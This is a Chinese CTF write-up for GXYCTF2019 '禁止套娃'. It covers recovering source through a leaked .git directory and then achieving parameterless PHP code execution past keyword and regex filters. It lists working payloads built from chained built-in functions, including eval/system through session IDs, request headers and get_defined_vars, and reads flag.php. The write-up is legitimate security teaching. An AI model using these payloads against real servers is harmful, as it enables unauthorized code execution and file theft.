GXYCTF2019 禁止套娃
信息收集
使用目录扫描工具 dirsearch
对其进行扫描,发现存在 .git
目录。
猜测可能是 git
泄露,使用 GitHacker
工具尝试获取其源码信息。
分析
得到源码,如下:
1 |
|
我们的目标是执行条条判断中的 eval
,达到命令执行的效果。首先,我们看下第一个 if
条件:
条件一:
1 | preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])); |
不能使用 data://
、filter
、php://
、phar://
伪协议。
条件二:
接着来看第二个判断:
1 | if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { |
exp
的值只能包含 小写字母
、_
、()
等字符,其中的 (?R)
表示递归匹配。
也就是说,我们为函数传入参数。经典的无参RCE,请看如下示例:
1 | a(); // true |
那么我们如何在不传入参数的情况下,达到命令执行最终获取 FLAG 呢?其实我们可以通过内置函数的返回值。获取我们想要的结果。
条件三:
1 | if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { |
不能传入et
、na
、info
、dec
、bin
、hex
、oct
、pi
、log
关键字。
总结:
- 不能使用伪协议:
data://
、filter
、php://
、phar://
- 不能使用除小写字母、下划线、左右括号的字符
- 不能使用
et
、na
、info
、dec
、bin
、hex
、oct
、pi
、log
关键字
思考
一般CTF题目,flag要么在根目录下,要么在网站根目录下,网站根目录下一般为 flag.php
文件,我们先直接访问flag.php
发现该文件存在。
目标: 获取 flag.php
文件的内容。
读取 flag.php
scandir(‘.’)
问题一: 如何通过函数的返回值获取到 scandir('.')
中的点呢?
1.chr()
- 我们需要一个函数生成一个随机数,能获取到46这个值:
chr(rand())
当chr()
函数接收到一个比255大的数据时,则会将该值与256进行取模运算。每256个包成功一次。
chr(time())
每256秒成功一次chr(current(localtime(time())))
每60秒成功一次
2.current(localeconv())
推荐
3.phpversion()
phpversion()
返回php版本,如7.3.5
floor(phpversion())
返回7
sqrt(floor(phpversion()))
返回2.6457513110646
tan(floor(sqrt(floor(phpversion()))))
返回-2.1850398632615
cosh(tan(floor(sqrt(floor(phpversion())))))
返回4.5017381103491
sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))
返回45.081318677156
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))
返回46
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))
返回.
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))
扫描当前目录next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))
返回..
4.crypt()chr(ord(hebrevc(crypt(phpversion()))))
返回 .
hebrevc(crypt(arg))
可以随机生成一个hash值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过ord chr只取第一个字符
数组操作:pos() / current()
默认返回数组第一个元素end()
: 将内部指针指向数组中的最后一个元素,并输出next()
:将内部指针指向数组中的下一个元素,并输出prev()
:将内部指针指向数组中的上一个元素,并输出reset()
: 将内部指针指向数组中的第一个元素,并输出each()
: 返回当前元素的键名和键值,并将内部指针向前移动
问题二: 如何从数组中取到flag.php?
1.array_reverse() 反转数组
1 | var_dump(array_reverse(scandir(current(localeconv())))); |
此时 flag.php
就在第二个元素当中了,我们使用 next()
将指针指向下一个元素 flag.php
,最后使用 show_source
查看内容即可:
1 | show_source(next(array_reverse(scandir(current(localeconv()))))); |
仅限于flag.php
文件在倒数第二个。
2.array_rand(array_flip())
其中array_flip()
函数用来数组和键之间的交换,而array_rand
则用来随机获取键名。
这种方法适用于flag.php
的所在位置的任何场景,但是由于是随机取键,故而需要多试几次。
当然我们可以通过getcwd()
函数获取当前工作目录,并直接配合scandir()
获取当前目录内容。
1 | var_dump(scandir(getcwd())); |
但是由于本题过滤了et
,故而该函数不能使用。
session()
本题虽然 ban 了 hex
关键字,导致hex2bin()
函数无法使用,但是我们可以不依赖十六机制ASCII码的形式,因为 flag.php
字符都是 PHPSESSID 所支持的。
在使用 session 之前,一定要执行session_start()
函数,因为默认情况下,PHP是不支持 session 的。session_id()
函数可以获取到用户在cookie中传入的 PHPSESSID 字段。
1 | system(session_id(session_start())); |
getallheaders()
getallheaders()
函数用于获取用户的请求头信息,该函数是apache_request_headers()
的别名函数,并将其转为关联数组。
如果在请求头底部添加 x1ong: phpinfo();
很大概念则会在第一个元素或者最后一个元素显示。
因此可以通过current()
或 end()
函数来获取数组的第一个和最后一个元素。
1 | eval(current(getallheaders())); // 第一个 |
但是由于本题过滤了 et
关键字,故而故能使用该函数。但是可以尝试使用apache_request_headers()
,尝试之后依旧无效。可能由于 PHP 版本缘故。因此该函数只做扩展。不适用于解本题。
get_defined_vars()
get_defined_vars
— 返回由所有已定义变量所组成的数组
效果如下:
可以看到,内置变量 $_GET
、$_POST
、$_COOKIE
、$_FILES
等变量都在其中。
那么假设我们执行 eval('phpinfo()')
; 该如何构造呢?
1 | eval(end(current(get_defined_vars()))); // 取get的最后一个参数 |
1 | ?exp=eval(end(current(get_defined_vars())));&x1ong=phpinfo(); |
本题由于 ban 了 et
关键字,故而不能使用该方法,很多时候,我们也可以使用 $GLOBALS
变量达到与get_defined_vars
一样的效果。
读取文件的方法
1 | var_dump(file_get_contents()); |